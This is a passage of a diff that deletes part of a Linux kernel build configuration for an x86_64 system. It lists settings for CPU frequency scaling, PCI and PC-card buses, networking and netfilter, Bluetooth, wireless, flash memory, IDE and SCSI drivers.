-CONFIG_CPU_FREQ_STAT_DETAILS=y
-# CONFIG_CPU_FREQ_DEFAULT_GOV_PERFORMANCE is not set
-CONFIG_CPU_FREQ_DEFAULT_GOV_USERSPACE=y
-# CONFIG_CPU_FREQ_DEFAULT_GOV_ONDEMAND is not set
-# CONFIG_CPU_FREQ_DEFAULT_GOV_CONSERVATIVE is not set
-CONFIG_CPU_FREQ_GOV_PERFORMANCE=y
-CONFIG_CPU_FREQ_GOV_POWERSAVE=m
-CONFIG_CPU_FREQ_GOV_USERSPACE=y
-CONFIG_CPU_FREQ_GOV_ONDEMAND=m
-CONFIG_CPU_FREQ_GOV_CONSERVATIVE=m
-
-#
-# CPUFreq processor drivers
-#
-CONFIG_X86_ACPI_CPUFREQ=m
-CONFIG_X86_POWERNOW_K8=m
-CONFIG_X86_POWERNOW_K8_ACPI=y
-CONFIG_X86_SPEEDSTEP_CENTRINO=m
-# CONFIG_X86_P4_CLOCKMOD is not set
-
-#
-# shared options
-#
-# CONFIG_X86_ACPI_CPUFREQ_PROC_INTF is not set
-# CONFIG_X86_SPEEDSTEP_LIB is not set
-# CONFIG_CPU_IDLE is not set
-
-#
-# Bus options (PCI etc.)
-#
-CONFIG_PCI=y
-CONFIG_PCI_DIRECT=y
-CONFIG_PCI_MMCONFIG=y
-CONFIG_PCI_DOMAINS=y
-# CONFIG_DMAR is not set
-CONFIG_PCIEPORTBUS=y
-CONFIG_HOTPLUG_PCI_PCIE=m
-CONFIG_PCIEAER=y
-CONFIG_ARCH_SUPPORTS_MSI=y
-CONFIG_PCI_MSI=y
-CONFIG_PCI_LEGACY=y
-# CONFIG_PCI_DEBUG is not set
-CONFIG_HT_IRQ=y
-CONFIG_ISA_DMA_API=y
-CONFIG_K8_NB=y
-CONFIG_PCCARD=y
-# CONFIG_PCMCIA_DEBUG is not set
-CONFIG_PCMCIA=y
-CONFIG_PCMCIA_LOAD_CIS=y
-CONFIG_PCMCIA_IOCTL=y
-CONFIG_CARDBUS=y
-
-#
-# PC-card bridges
-#
-CONFIG_YENTA=y
-CONFIG_YENTA_O2=y
-CONFIG_YENTA_RICOH=y
-CONFIG_YENTA_TI=y
-CONFIG_YENTA_ENE_TUNE=y
-CONFIG_YENTA_TOSHIBA=y
-CONFIG_PD6729=m
-# CONFIG_I82092 is not set
-CONFIG_PCCARD_NONSTATIC=y
-CONFIG_HOTPLUG_PCI=y
-CONFIG_HOTPLUG_PCI_FAKE=m
-CONFIG_HOTPLUG_PCI_ACPI=m
-CONFIG_HOTPLUG_PCI_ACPI_IBM=m
-# CONFIG_HOTPLUG_PCI_CPCI is not set
-CONFIG_HOTPLUG_PCI_SHPC=m
-
-#
-# Executable file formats / Emulations
-#
-CONFIG_BINFMT_ELF=y
-CONFIG_BINFMT_MISC=y
-CONFIG_IA32_EMULATION=y
-# CONFIG_IA32_AOUT is not set
-CONFIG_COMPAT=y
-CONFIG_COMPAT_FOR_U64_ALIGNMENT=y
-CONFIG_SYSVIPC_COMPAT=y
-
-#
-# Networking
-#
-CONFIG_NET=y
-
-#
-# Networking options
-#
-CONFIG_PACKET=y
-CONFIG_PACKET_MMAP=y
-CONFIG_UNIX=y
-CONFIG_XFRM=y
-CONFIG_XFRM_USER=y
-# CONFIG_XFRM_SUB_POLICY is not set
-# CONFIG_XFRM_MIGRATE is not set
-CONFIG_NET_KEY=m
-# CONFIG_NET_KEY_MIGRATE is not set
-CONFIG_INET=y
-CONFIG_IP_MULTICAST=y
-CONFIG_IP_ADVANCED_ROUTER=y
-CONFIG_ASK_IP_FIB_HASH=y
-# CONFIG_IP_FIB_TRIE is not set
-CONFIG_IP_FIB_HASH=y
-CONFIG_IP_MULTIPLE_TABLES=y
-CONFIG_IP_ROUTE_MULTIPATH=y
-CONFIG_IP_ROUTE_VERBOSE=y
-# CONFIG_IP_PNP is not set
-CONFIG_NET_IPIP=m
-CONFIG_NET_IPGRE=m
-CONFIG_NET_IPGRE_BROADCAST=y
-CONFIG_IP_MROUTE=y
-CONFIG_IP_PIMSM_V1=y
-CONFIG_IP_PIMSM_V2=y
-# CONFIG_ARPD is not set
-CONFIG_SYN_COOKIES=y
-CONFIG_INET_AH=m
-CONFIG_INET_ESP=m
-CONFIG_INET_IPCOMP=m
-CONFIG_INET_XFRM_TUNNEL=m
-CONFIG_INET_TUNNEL=m
-CONFIG_INET_XFRM_MODE_TRANSPORT=m
-CONFIG_INET_XFRM_MODE_TUNNEL=m
-CONFIG_INET_XFRM_MODE_BEET=y
-CONFIG_INET_LRO=y
-CONFIG_INET_DIAG=m
-CONFIG_INET_TCP_DIAG=m
-CONFIG_TCP_CONG_ADVANCED=y
-CONFIG_TCP_CONG_BIC=y
-CONFIG_TCP_CONG_CUBIC=m
-CONFIG_TCP_CONG_WESTWOOD=m
-CONFIG_TCP_CONG_HTCP=m
-CONFIG_TCP_CONG_HSTCP=m
-CONFIG_TCP_CONG_HYBLA=m
-CONFIG_TCP_CONG_VEGAS=m
-CONFIG_TCP_CONG_SCALABLE=m
-CONFIG_TCP_CONG_LP=m
-CONFIG_TCP_CONG_VENO=m
-# CONFIG_TCP_CONG_YEAH is not set
-# CONFIG_TCP_CONG_ILLINOIS is not set
-CONFIG_DEFAULT_BIC=y
-# CONFIG_DEFAULT_CUBIC is not set
-# CONFIG_DEFAULT_HTCP is not set
-# CONFIG_DEFAULT_VEGAS is not set
-# CONFIG_DEFAULT_WESTWOOD is not set
-# CONFIG_DEFAULT_RENO is not set
-CONFIG_DEFAULT_TCP_CONG="bic"
-# CONFIG_TCP_MD5SIG is not set
-CONFIG_IP_VS=m
-# CONFIG_IP_VS_DEBUG is not set
-CONFIG_IP_VS_TAB_BITS=12
-
-#
-# IPVS transport protocol load balancing support
-#
-CONFIG_IP_VS_PROTO_TCP=y
-CONFIG_IP_VS_PROTO_UDP=y
-CONFIG_IP_VS_PROTO_ESP=y
-CONFIG_IP_VS_PROTO_AH=y
-
-#
-# IPVS scheduler
-#
-CONFIG_IP_VS_RR=m
-CONFIG_IP_VS_WRR=m
-CONFIG_IP_VS_LC=m
-CONFIG_IP_VS_WLC=m
-CONFIG_IP_VS_LBLC=m
-CONFIG_IP_VS_LBLCR=m
-CONFIG_IP_VS_DH=m
-CONFIG_IP_VS_SH=m
-CONFIG_IP_VS_SED=m
-CONFIG_IP_VS_NQ=m
-
-#
-# IPVS application helper
-#
-CONFIG_IP_VS_FTP=m
-CONFIG_IPV6=m
-CONFIG_IPV6_PRIVACY=y
-CONFIG_IPV6_ROUTER_PREF=y
-CONFIG_IPV6_ROUTE_INFO=y
-CONFIG_IPV6_OPTIMISTIC_DAD=y
-CONFIG_INET6_AH=m
-CONFIG_INET6_ESP=m
-CONFIG_INET6_IPCOMP=m
-# CONFIG_IPV6_MIP6 is not set
-CONFIG_INET6_XFRM_TUNNEL=m
-CONFIG_INET6_TUNNEL=m
-CONFIG_INET6_XFRM_MODE_TRANSPORT=m
-CONFIG_INET6_XFRM_MODE_TUNNEL=m
-CONFIG_INET6_XFRM_MODE_BEET=m
-# CONFIG_INET6_XFRM_MODE_ROUTEOPTIMIZATION is not set
-CONFIG_IPV6_SIT=m
-CONFIG_IPV6_TUNNEL=m
-CONFIG_IPV6_MULTIPLE_TABLES=y
-# CONFIG_IPV6_SUBTREES is not set
-CONFIG_NETLABEL=y
-CONFIG_NETWORK_SECMARK=y
-CONFIG_NETFILTER=y
-# CONFIG_NETFILTER_DEBUG is not set
-CONFIG_BRIDGE_NETFILTER=y
-
-#
-# Core Netfilter Configuration
-#
-CONFIG_NETFILTER_NETLINK=m
-CONFIG_NETFILTER_NETLINK_QUEUE=m
-CONFIG_NETFILTER_NETLINK_LOG=m
-# CONFIG_NF_CONNTRACK_ENABLED is not set
-# CONFIG_NF_CONNTRACK is not set
-CONFIG_NETFILTER_XTABLES=m
-CONFIG_NETFILTER_XT_TARGET_CLASSIFY=m
-# CONFIG_NETFILTER_XT_TARGET_DSCP is not set
-CONFIG_NETFILTER_XT_TARGET_MARK=m
-CONFIG_NETFILTER_XT_TARGET_NFQUEUE=m
-# CONFIG_NETFILTER_XT_TARGET_NFLOG is not set
-# CONFIG_NETFILTER_XT_TARGET_TRACE is not set
-CONFIG_NETFILTER_XT_TARGET_SECMARK=m
-# CONFIG_NETFILTER_XT_TARGET_TCPMSS is not set
-CONFIG_NETFILTER_XT_MATCH_COMMENT=m
-CONFIG_NETFILTER_XT_MATCH_DCCP=m
-# CONFIG_NETFILTER_XT_MATCH_DSCP is not set
-CONFIG_NETFILTER_XT_MATCH_ESP=m
-CONFIG_NETFILTER_XT_MATCH_LENGTH=m
-CONFIG_NETFILTER_XT_MATCH_LIMIT=m
-CONFIG_NETFILTER_XT_MATCH_MAC=m
-CONFIG_NETFILTER_XT_MATCH_MARK=m
-CONFIG_NETFILTER_XT_MATCH_POLICY=m
-CONFIG_NETFILTER_XT_MATCH_MULTIPORT=m
-CONFIG_NETFILTER_XT_MATCH_PHYSDEV=m
-CONFIG_NETFILTER_XT_MATCH_PKTTYPE=m
-CONFIG_NETFILTER_XT_MATCH_QUOTA=m
-CONFIG_NETFILTER_XT_MATCH_REALM=m
-CONFIG_NETFILTER_XT_MATCH_SCTP=m
-CONFIG_NETFILTER_XT_MATCH_STATISTIC=m
-CONFIG_NETFILTER_XT_MATCH_STRING=m
-CONFIG_NETFILTER_XT_MATCH_TCPMSS=m
-# CONFIG_NETFILTER_XT_MATCH_TIME is not set
-# CONFIG_NETFILTER_XT_MATCH_U32 is not set
-# CONFIG_NETFILTER_XT_MATCH_HASHLIMIT is not set
-
-#
-# IP: Netfilter Configuration
-#
-CONFIG_IP_NF_QUEUE=m
-CONFIG_IP_NF_IPTABLES=m
-CONFIG_IP_NF_MATCH_IPRANGE=m
-CONFIG_IP_NF_MATCH_TOS=m
-CONFIG_IP_NF_MATCH_RECENT=m
-CONFIG_IP_NF_MATCH_ECN=m
-CONFIG_IP_NF_MATCH_AH=m
-CONFIG_IP_NF_MATCH_TTL=m
-CONFIG_IP_NF_MATCH_OWNER=m
-CONFIG_IP_NF_MATCH_ADDRTYPE=m
-CONFIG_IP_NF_FILTER=m
-CONFIG_IP_NF_TARGET_REJECT=m
-CONFIG_IP_NF_TARGET_LOG=m
-CONFIG_IP_NF_TARGET_ULOG=m
-CONFIG_IP_NF_MANGLE=m
-CONFIG_IP_NF_TARGET_TOS=m
-CONFIG_IP_NF_TARGET_ECN=m
-CONFIG_IP_NF_TARGET_TTL=m
-CONFIG_IP_NF_RAW=m
-CONFIG_IP_NF_ARPTABLES=m
-CONFIG_IP_NF_ARPFILTER=m
-CONFIG_IP_NF_ARP_MANGLE=m
-
-#
-# IPv6: Netfilter Configuration (EXPERIMENTAL)
-#
-CONFIG_IP6_NF_QUEUE=m
-CONFIG_IP6_NF_IPTABLES=m
-CONFIG_IP6_NF_MATCH_RT=m
-CONFIG_IP6_NF_MATCH_OPTS=m
-CONFIG_IP6_NF_MATCH_FRAG=m
-CONFIG_IP6_NF_MATCH_HL=m
-CONFIG_IP6_NF_MATCH_OWNER=m
-CONFIG_IP6_NF_MATCH_IPV6HEADER=m
-CONFIG_IP6_NF_MATCH_AH=m
-# CONFIG_IP6_NF_MATCH_MH is not set
-CONFIG_IP6_NF_MATCH_EUI64=m
-CONFIG_IP6_NF_FILTER=m
-CONFIG_IP6_NF_TARGET_LOG=m
-CONFIG_IP6_NF_TARGET_REJECT=m
-CONFIG_IP6_NF_MANGLE=m
-CONFIG_IP6_NF_TARGET_HL=m
-CONFIG_IP6_NF_RAW=m
-
-#
-# Bridge: Netfilter Configuration
-#
-CONFIG_BRIDGE_NF_EBTABLES=m
-CONFIG_BRIDGE_EBT_BROUTE=m
-CONFIG_BRIDGE_EBT_T_FILTER=m
-CONFIG_BRIDGE_EBT_T_NAT=m
-CONFIG_BRIDGE_EBT_802_3=m
-CONFIG_BRIDGE_EBT_AMONG=m
-CONFIG_BRIDGE_EBT_ARP=m
-CONFIG_BRIDGE_EBT_IP=m
-CONFIG_BRIDGE_EBT_LIMIT=m
-CONFIG_BRIDGE_EBT_MARK=m
-CONFIG_BRIDGE_EBT_PKTTYPE=m
-CONFIG_BRIDGE_EBT_STP=m
-CONFIG_BRIDGE_EBT_VLAN=m
-CONFIG_BRIDGE_EBT_ARPREPLY=m
-CONFIG_BRIDGE_EBT_DNAT=m
-CONFIG_BRIDGE_EBT_MARK_T=m
-CONFIG_BRIDGE_EBT_REDIRECT=m
-CONFIG_BRIDGE_EBT_SNAT=m
-CONFIG_BRIDGE_EBT_LOG=m
-CONFIG_BRIDGE_EBT_ULOG=m
-CONFIG_IP_DCCP=m
-CONFIG_INET_DCCP_DIAG=m
-CONFIG_IP_DCCP_ACKVEC=y
-
-#
-# DCCP CCIDs Configuration (EXPERIMENTAL)
-#
-CONFIG_IP_DCCP_CCID2=m
-# CONFIG_IP_DCCP_CCID2_DEBUG is not set
-CONFIG_IP_DCCP_CCID3=m
-CONFIG_IP_DCCP_TFRC_LIB=m
-# CONFIG_IP_DCCP_CCID3_DEBUG is not set
-CONFIG_IP_DCCP_CCID3_RTO=100
-
-#
-# DCCP Kernel Hacking
-#
-# CONFIG_IP_DCCP_DEBUG is not set
-# CONFIG_NET_DCCPPROBE is not set
-CONFIG_IP_SCTP=m
-# CONFIG_SCTP_DBG_MSG is not set
-# CONFIG_SCTP_DBG_OBJCNT is not set
-# CONFIG_SCTP_HMAC_NONE is not set
-# CONFIG_SCTP_HMAC_SHA1 is not set
-CONFIG_SCTP_HMAC_MD5=y
-CONFIG_TIPC=m
-# CONFIG_TIPC_ADVANCED is not set
-# CONFIG_TIPC_DEBUG is not set
-CONFIG_ATM=m
-CONFIG_ATM_CLIP=m
-# CONFIG_ATM_CLIP_NO_ICMP is not set
-CONFIG_ATM_LANE=m
-# CONFIG_ATM_MPOA is not set
-CONFIG_ATM_BR2684=m
-# CONFIG_ATM_BR2684_IPFILTER is not set
-CONFIG_BRIDGE=m
-CONFIG_VLAN_8021Q=m
-# CONFIG_DECNET is not set
-CONFIG_LLC=y
-# CONFIG_LLC2 is not set
-# CONFIG_IPX is not set
-# CONFIG_ATALK is not set
-# CONFIG_X25 is not set
-# CONFIG_LAPB is not set
-# CONFIG_ECONET is not set
-# CONFIG_WAN_ROUTER is not set
-CONFIG_NET_SCHED=y
-
-#
-# Queueing/Scheduling
-#
-CONFIG_NET_SCH_CBQ=m
-CONFIG_NET_SCH_HTB=m
-CONFIG_NET_SCH_HFSC=m
-CONFIG_NET_SCH_ATM=m
-CONFIG_NET_SCH_PRIO=m
-# CONFIG_NET_SCH_RR is not set
-CONFIG_NET_SCH_RED=m
-CONFIG_NET_SCH_SFQ=m
-CONFIG_NET_SCH_TEQL=m
-CONFIG_NET_SCH_TBF=m
-CONFIG_NET_SCH_GRED=m
-CONFIG_NET_SCH_DSMARK=m
-CONFIG_NET_SCH_NETEM=m
-CONFIG_NET_SCH_INGRESS=m
-
-#
-# Classification
-#
-CONFIG_NET_CLS=y
-CONFIG_NET_CLS_BASIC=m
-CONFIG_NET_CLS_TCINDEX=m
-CONFIG_NET_CLS_ROUTE4=m
-CONFIG_NET_CLS_ROUTE=y
-CONFIG_NET_CLS_FW=m
-CONFIG_NET_CLS_U32=m
-CONFIG_CLS_U32_PERF=y
-CONFIG_CLS_U32_MARK=y
-CONFIG_NET_CLS_RSVP=m
-CONFIG_NET_CLS_RSVP6=m
-CONFIG_NET_EMATCH=y
-CONFIG_NET_EMATCH_STACK=32
-CONFIG_NET_EMATCH_CMP=m
-CONFIG_NET_EMATCH_NBYTE=m
-CONFIG_NET_EMATCH_U32=m
-CONFIG_NET_EMATCH_META=m
-CONFIG_NET_EMATCH_TEXT=m
-CONFIG_NET_CLS_ACT=y
-CONFIG_NET_ACT_POLICE=m
-CONFIG_NET_ACT_GACT=m
-CONFIG_GACT_PROB=y
-CONFIG_NET_ACT_MIRRED=m
-CONFIG_NET_ACT_IPT=m
-# CONFIG_NET_ACT_NAT is not set
-CONFIG_NET_ACT_PEDIT=m
-CONFIG_NET_ACT_SIMP=m
-# CONFIG_NET_CLS_POLICE is not set
-CONFIG_NET_CLS_IND=y
-CONFIG_NET_SCH_FIFO=y
-
-#
-# Network testing
-#
-CONFIG_NET_PKTGEN=m
-# CONFIG_NET_TCPPROBE is not set
-# CONFIG_HAMRADIO is not set
-# CONFIG_IRDA is not set
-CONFIG_BT=m
-CONFIG_BT_L2CAP=m
-CONFIG_BT_SCO=m
-CONFIG_BT_RFCOMM=m
-CONFIG_BT_RFCOMM_TTY=y
-CONFIG_BT_BNEP=m
-CONFIG_BT_BNEP_MC_FILTER=y
-CONFIG_BT_BNEP_PROTO_FILTER=y
-CONFIG_BT_CMTP=m
-CONFIG_BT_HIDP=m
-
-#
-# Bluetooth device drivers
-#
-CONFIG_BT_HCIUSB=m
-CONFIG_BT_HCIUSB_SCO=y
-# CONFIG_BT_HCIBTSDIO is not set
-CONFIG_BT_HCIUART=m
-CONFIG_BT_HCIUART_H4=y
-CONFIG_BT_HCIUART_BCSP=y
-# CONFIG_BT_HCIUART_LL is not set
-CONFIG_BT_HCIBCM203X=m
-CONFIG_BT_HCIBPA10X=m
-CONFIG_BT_HCIBFUSB=m
-CONFIG_BT_HCIDTL1=m
-CONFIG_BT_HCIBT3C=m
-CONFIG_BT_HCIBLUECARD=m
-CONFIG_BT_HCIBTUART=m
-CONFIG_BT_HCIVHCI=m
-# CONFIG_AF_RXRPC is not set
-CONFIG_FIB_RULES=y
-
-#
-# Wireless
-#
-CONFIG_CFG80211=m
-CONFIG_NL80211=y
-CONFIG_WIRELESS_EXT=y
-CONFIG_MAC80211=m
-CONFIG_MAC80211_RCSIMPLE=y
-CONFIG_MAC80211_LEDS=y
-# CONFIG_MAC80211_DEBUGFS is not set
-# CONFIG_MAC80211_DEBUG is not set
-CONFIG_IEEE80211=m
-# CONFIG_IEEE80211_DEBUG is not set
-CONFIG_IEEE80211_CRYPT_WEP=m
-CONFIG_IEEE80211_CRYPT_CCMP=m
-CONFIG_IEEE80211_CRYPT_TKIP=m
-CONFIG_IEEE80211_SOFTMAC=m
-CONFIG_IEEE80211_SOFTMAC_DEBUG=y
-# CONFIG_RFKILL is not set
-# CONFIG_NET_9P is not set
-
-#
-# Device Drivers
-#
-
-#
-# Generic Driver Options
-#
-CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
-CONFIG_STANDALONE=y
-CONFIG_PREVENT_FIRMWARE_BUILD=y
-CONFIG_FW_LOADER=y
-# CONFIG_DEBUG_DRIVER is not set
-# CONFIG_DEBUG_DEVRES is not set
-# CONFIG_SYS_HYPERVISOR is not set
-CONFIG_CONNECTOR=y
-CONFIG_PROC_EVENTS=y
-CONFIG_MTD=m
-# CONFIG_MTD_DEBUG is not set
-CONFIG_MTD_CONCAT=m
-CONFIG_MTD_PARTITIONS=y
-CONFIG_MTD_REDBOOT_PARTS=m
-CONFIG_MTD_REDBOOT_DIRECTORY_BLOCK=-1
-# CONFIG_MTD_REDBOOT_PARTS_UNALLOCATED is not set
-# CONFIG_MTD_REDBOOT_PARTS_READONLY is not set
-
-#
-# User Modules And Translation Layers
-#
-CONFIG_MTD_CHAR=m
-CONFIG_MTD_BLKDEVS=m
-CONFIG_MTD_BLOCK=m
-CONFIG_MTD_BLOCK_RO=m
-CONFIG_FTL=m
-CONFIG_NFTL=m
-CONFIG_NFTL_RW=y
-# CONFIG_INFTL is not set
-CONFIG_RFD_FTL=m
-# CONFIG_SSFDC is not set
-# CONFIG_MTD_OOPS is not set
-
-#
-# RAM/ROM/Flash chip drivers
-#
-CONFIG_MTD_CFI=m
-CONFIG_MTD_JEDECPROBE=m
-CONFIG_MTD_GEN_PROBE=m
-# CONFIG_MTD_CFI_ADV_OPTIONS is not set
-CONFIG_MTD_MAP_BANK_WIDTH_1=y
-CONFIG_MTD_MAP_BANK_WIDTH_2=y
-CONFIG_MTD_MAP_BANK_WIDTH_4=y
-# CONFIG_MTD_MAP_BANK_WIDTH_8 is not set
-# CONFIG_MTD_MAP_BANK_WIDTH_16 is not set
-# CONFIG_MTD_MAP_BANK_WIDTH_32 is not set
-CONFIG_MTD_CFI_I1=y
-CONFIG_MTD_CFI_I2=y
-# CONFIG_MTD_CFI_I4 is not set
-# CONFIG_MTD_CFI_I8 is not set
-CONFIG_MTD_CFI_INTELEXT=m
-CONFIG_MTD_CFI_AMDSTD=m
-CONFIG_MTD_CFI_STAA=m
-CONFIG_MTD_CFI_UTIL=m
-CONFIG_MTD_RAM=m
-CONFIG_MTD_ROM=m
-CONFIG_MTD_ABSENT=m
-
-#
-# Mapping drivers for chip access
-#
-# CONFIG_MTD_COMPLEX_MAPPINGS is not set
-# CONFIG_MTD_PHYSMAP is not set
-# CONFIG_MTD_PNC2000 is not set
-CONFIG_MTD_SC520CDP=m
-CONFIG_MTD_NETSC520=m
-CONFIG_MTD_TS5500=m
-# CONFIG_MTD_AMD76XROM is not set
-# CONFIG_MTD_ICHXROM is not set
-# CONFIG_MTD_ESB2ROM is not set
-# CONFIG_MTD_CK804XROM is not set
-CONFIG_MTD_SCB2_FLASH=m
-# CONFIG_MTD_NETtel is not set
-# CONFIG_MTD_DILNETPC is not set
-# CONFIG_MTD_L440GX is not set
-# CONFIG_MTD_INTEL_VR_NOR is not set
-# CONFIG_MTD_PLATRAM is not set
-
-#
-# Self-contained MTD device drivers
-#
-# CONFIG_MTD_PMC551 is not set
-# CONFIG_MTD_SLRAM is not set
-# CONFIG_MTD_PHRAM is not set
-CONFIG_MTD_MTDRAM=m
-CONFIG_MTDRAM_TOTAL_SIZE=4096
-CONFIG_MTDRAM_ERASE_SIZE=128
-CONFIG_MTD_BLOCK2MTD=m
-
-#
-# Disk-On-Chip Device Drivers
-#
-# CONFIG_MTD_DOC2000 is not set
-# CONFIG_MTD_DOC2001 is not set
-# CONFIG_MTD_DOC2001PLUS is not set
-CONFIG_MTD_NAND=m
-# CONFIG_MTD_NAND_VERIFY_WRITE is not set
-CONFIG_MTD_NAND_ECC_SMC=y
-# CONFIG_MTD_NAND_MUSEUM_IDS is not set
-CONFIG_MTD_NAND_IDS=m
-CONFIG_MTD_NAND_DISKONCHIP=m
-# CONFIG_MTD_NAND_DISKONCHIP_PROBE_ADVANCED is not set
-CONFIG_MTD_NAND_DISKONCHIP_PROBE_ADDRESS=0
-# CONFIG_MTD_NAND_DISKONCHIP_BBTWRITE is not set
-# CONFIG_MTD_NAND_CAFE is not set
-CONFIG_MTD_NAND_NANDSIM=m
-# CONFIG_MTD_NAND_PLATFORM is not set
-# CONFIG_MTD_ALAUDA is not set
-# CONFIG_MTD_ONENAND is not set
-
-#
-# UBI - Unsorted block images
-#
-# CONFIG_MTD_UBI is not set
-CONFIG_PARPORT=m
-CONFIG_PARPORT_PC=m
-CONFIG_PARPORT_SERIAL=m
-# CONFIG_PARPORT_PC_FIFO is not set
-# CONFIG_PARPORT_PC_SUPERIO is not set
-CONFIG_PARPORT_PC_PCMCIA=m
-# CONFIG_PARPORT_GSC is not set
-# CONFIG_PARPORT_AX88796 is not set
-CONFIG_PARPORT_1284=y
-CONFIG_PARPORT_NOT_PC=y
-CONFIG_PNP=y
-# CONFIG_PNP_DEBUG is not set
-
-#
-# Protocols
-#
-CONFIG_PNPACPI=y
-CONFIG_BLK_DEV=y
-CONFIG_BLK_DEV_FD=m
-CONFIG_PARIDE=m
-
-#
-# Parallel IDE high-level drivers
-#
-CONFIG_PARIDE_PD=m
-CONFIG_PARIDE_PCD=m
-CONFIG_PARIDE_PF=m
-CONFIG_PARIDE_PT=m
-CONFIG_PARIDE_PG=m
-
-#
-# Parallel IDE protocol modules
-#
-CONFIG_PARIDE_ATEN=m
-CONFIG_PARIDE_BPCK=m
-CONFIG_PARIDE_COMM=m
-CONFIG_PARIDE_DSTR=m
-CONFIG_PARIDE_FIT2=m
-CONFIG_PARIDE_FIT3=m
-CONFIG_PARIDE_EPAT=m
-CONFIG_PARIDE_EPATC8=y
-CONFIG_PARIDE_EPIA=m
-CONFIG_PARIDE_FRIQ=m
-CONFIG_PARIDE_FRPW=m
-CONFIG_PARIDE_KBIC=m
-CONFIG_PARIDE_KTTI=m
-CONFIG_PARIDE_ON20=m
-CONFIG_PARIDE_ON26=m
-CONFIG_BLK_CPQ_DA=m
-CONFIG_BLK_CPQ_CISS_DA=m
-CONFIG_CISS_SCSI_TAPE=y
-CONFIG_BLK_DEV_DAC960=m
-# CONFIG_BLK_DEV_UMEM is not set
-# CONFIG_BLK_DEV_COW_COMMON is not set
-CONFIG_BLK_DEV_LOOP=m
-CONFIG_BLK_DEV_CRYPTOLOOP=m
-CONFIG_BLK_DEV_NBD=m
-CONFIG_BLK_DEV_SX8=m
-# CONFIG_BLK_DEV_UB is not set
-CONFIG_BLK_DEV_RAM=y
-CONFIG_BLK_DEV_RAM_COUNT=16
-CONFIG_BLK_DEV_RAM_SIZE=16384
-CONFIG_BLK_DEV_RAM_BLOCKSIZE=4096
-CONFIG_CDROM_PKTCDVD=m
-CONFIG_CDROM_PKTCDVD_BUFFERS=8
-# CONFIG_CDROM_PKTCDVD_WCACHE is not set
-CONFIG_ATA_OVER_ETH=m
-CONFIG_MISC_DEVICES=y
-# CONFIG_IBM_ASM is not set
-# CONFIG_PHANTOM is not set
-CONFIG_EEPROM_93CX6=m
-# CONFIG_SGI_IOC4 is not set
-# CONFIG_TIFM_CORE is not set
-# CONFIG_ASUS_LAPTOP is not set
-# CONFIG_FUJITSU_LAPTOP is not set
-# CONFIG_MSI_LAPTOP is not set
-# CONFIG_SONY_LAPTOP is not set
-CONFIG_THINKPAD_ACPI=m
-# CONFIG_THINKPAD_ACPI_DEBUG is not set
-CONFIG_THINKPAD_ACPI_BAY=y
-CONFIG_IDE=y
-CONFIG_BLK_DEV_IDE=y
-
-#
-# Please see Documentation/ide.txt for help/info on IDE drives
-#
-# CONFIG_BLK_DEV_IDE_SATA is not set
-# CONFIG_BLK_DEV_HD_IDE is not set
-CONFIG_BLK_DEV_IDEDISK=y
-CONFIG_IDEDISK_MULTI_MODE=y
-CONFIG_BLK_DEV_IDECS=m
-# CONFIG_BLK_DEV_DELKIN is not set
-CONFIG_BLK_DEV_IDECD=m
-# CONFIG_BLK_DEV_IDETAPE is not set
-CONFIG_BLK_DEV_IDEFLOPPY=y
-CONFIG_BLK_DEV_IDESCSI=m
-# CONFIG_BLK_DEV_IDEACPI is not set
-CONFIG_IDE_TASK_IOCTL=y
-CONFIG_IDE_PROC_FS=y
-
-#
-# IDE chipset support/bugfixes
-#
-CONFIG_IDE_GENERIC=y
-# CONFIG_BLK_DEV_PLATFORM is not set
-# CONFIG_BLK_DEV_CMD640 is not set
-CONFIG_BLK_DEV_IDEPNP=y
-
-#
-# PCI IDE chipsets support
-#
-CONFIG_BLK_DEV_IDEPCI=y
-CONFIG_IDEPCI_SHARE_IRQ=y
-CONFIG_IDEPCI_PCIBUS_ORDER=y
-# CONFIG_BLK_DEV_OFFBOARD is not set
-CONFIG_BLK_DEV_GENERIC=y
-# CONFIG_BLK_DEV_OPTI621 is not set
-# CONFIG_BLK_DEV_RZ1000 is not set
-CONFIG_BLK_DEV_IDEDMA_PCI=y
-CONFIG_BLK_DEV_AEC62XX=y
-CONFIG_BLK_DEV_ALI15X3=y
-# CONFIG_WDC_ALI15X3 is not set
-CONFIG_BLK_DEV_AMD74XX=y
-CONFIG_BLK_DEV_ATIIXP=y
-CONFIG_BLK_DEV_CMD64X=y
-# CONFIG_BLK_DEV_TRIFLEX is not set
-# CONFIG_BLK_DEV_CY82C693 is not set
-# CONFIG_BLK_DEV_CS5520 is not set
-# CONFIG_BLK_DEV_CS5530 is not set
-CONFIG_BLK_DEV_HPT34X=y
-# CONFIG_HPT34X_AUTODMA is not set
-CONFIG_BLK_DEV_HPT366=y
-# CONFIG_BLK_DEV_JMICRON is not set
-# CONFIG_BLK_DEV_SC1200 is not set
-CONFIG_BLK_DEV_PIIX=y
-# CONFIG_BLK_DEV_IT8213 is not set
-CONFIG_BLK_DEV_IT821X=y
-# CONFIG_BLK_DEV_NS87415 is not set
-CONFIG_BLK_DEV_PDC202XX_OLD=y
-# CONFIG_PDC202XX_BURST is not set
-CONFIG_BLK_DEV_PDC202XX_NEW=y
-CONFIG_BLK_DEV_SVWKS=y
-CONFIG_BLK_DEV_SIIMAGE=y
-CONFIG_BLK_DEV_SIS5513=y
-# CONFIG_BLK_DEV_SLC90E66 is not set
-# CONFIG_BLK_DEV_TRM290 is not set
-CONFIG_BLK_DEV_VIA82CXXX=y
-# CONFIG_BLK_DEV_TC86C001 is not set
-# CONFIG_IDE_ARM is not set
-CONFIG_BLK_DEV_IDEDMA=y
-CONFIG_IDE_ARCH_OBSOLETE_INIT=y
-# CONFIG_BLK_DEV_HD is not set
-
-#
-# SCSI device support
-#
-CONFIG_RAID_ATTRS=m
-CONFIG_SCSI=m
-CONFIG_SCSI_DMA=y
-# CONFIG_SCSI_TGT is not set
-CONFIG_SCSI_NETLINK=y
-CONFIG_SCSI_PROC_FS=y
-
-#
-# SCSI support type (disk, tape, CD-ROM)
-#
-CONFIG_BLK_DEV_SD=m
-CONFIG_CHR_DEV_ST=m
-CONFIG_CHR_DEV_OSST=m
-CONFIG_BLK_DEV_SR=m
-CONFIG_BLK_DEV_SR_VENDOR=y
-CONFIG_CHR_DEV_SG=m
-CONFIG_CHR_DEV_SCH=m
-
-#
-# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
-#
-CONFIG_SCSI_MULTI_LUN=y
-CONFIG_SCSI_CONSTANTS=y
-CONFIG_SCSI_LOGGING=y
-# CONFIG_SCSI_SCAN_ASYNC is not set
-CONFIG_SCSI_WAIT_SCAN=m
-
-#
